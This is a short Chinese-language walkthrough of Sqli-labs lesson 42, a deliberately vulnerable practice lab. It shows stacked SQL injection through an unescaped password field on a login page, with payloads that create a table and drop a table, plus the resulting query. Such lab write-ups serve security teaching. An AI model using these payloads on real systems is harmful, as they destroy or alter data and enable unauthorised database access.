Sqli-labs less 42
Less-42
Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
本关从login.php源代码中分析可知:
Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。
登录用户名随意
密码登录用以下的方式c';drop table me# (删除me 表)
c';create table me like users# (创建一个me 的表)
下面这张图是我们没有登录时数据库当中存在的表
此处登录username:admin
Password:c';create table less42 like users#
原sql语句为
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#
利用stacked injection,我们成功执行创建数据表less42的语句。
从下图可以看出show tables后已经成功创建less42表。
利用c';drop table me#作为登录密码,删除该表。
同样的利用此方式可以更新和插入数据项,这里就不进行演示了。
微信公众号:埋头干安全
目前主要精力放在微信公众号!!!